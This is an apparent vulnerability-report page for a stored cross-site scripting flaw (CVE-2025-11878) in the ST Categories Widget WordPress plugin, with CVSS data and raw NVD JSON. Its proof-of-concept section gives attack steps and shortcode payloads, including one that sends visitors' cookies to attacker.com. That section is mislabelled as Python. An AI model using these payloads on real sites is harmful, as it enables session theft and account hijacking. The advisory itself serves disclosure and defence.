Security Vulnerability Report
中文
CVE-2025-11878 CVSS 6.4 MEDIUM

CVE-2025-11878

Published: 2025-10-22 09:15:36
Last Modified: 2026-04-15 00:35:42

Description

The ST Categories Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's st-categories shortcode in versions less than, or equal to, 1.0.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ST Categories Widget(st-category-wp)<= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2025-11878 --> <!-- Attack Steps: --> <!-- 1. Login to WordPress as Contributor or higher --> <!-- 2. Create a new post --> <!-- 3. Insert the following malicious shortcode into the post content --> <!-- 4. Publish the post --> <!-- 5. When any user visits the post, the XSS payload executes --> [st-categories title="<script>alert('XSS-'+document.cookie)</script>"] <!-- Alternative PoC with event handler (may bypass some filters): --> [st-categories title="Test\" onmouseover=\"alert(document.domain)\" style=\"display:block\"] <!-- PoC for stealing cookies / session hijacking: --> [st-categories title="<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11878", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:35.657", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ST Categories Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's st-categories shortcode in versions less than, or equal to, 1.0.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/st-category-wp/tags/1.0.0/st-categories-wp.php#L176", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0d127114-9c80-4722-953a-3ee1382b9f81?source=cve", "source": "[email protected]"}]}}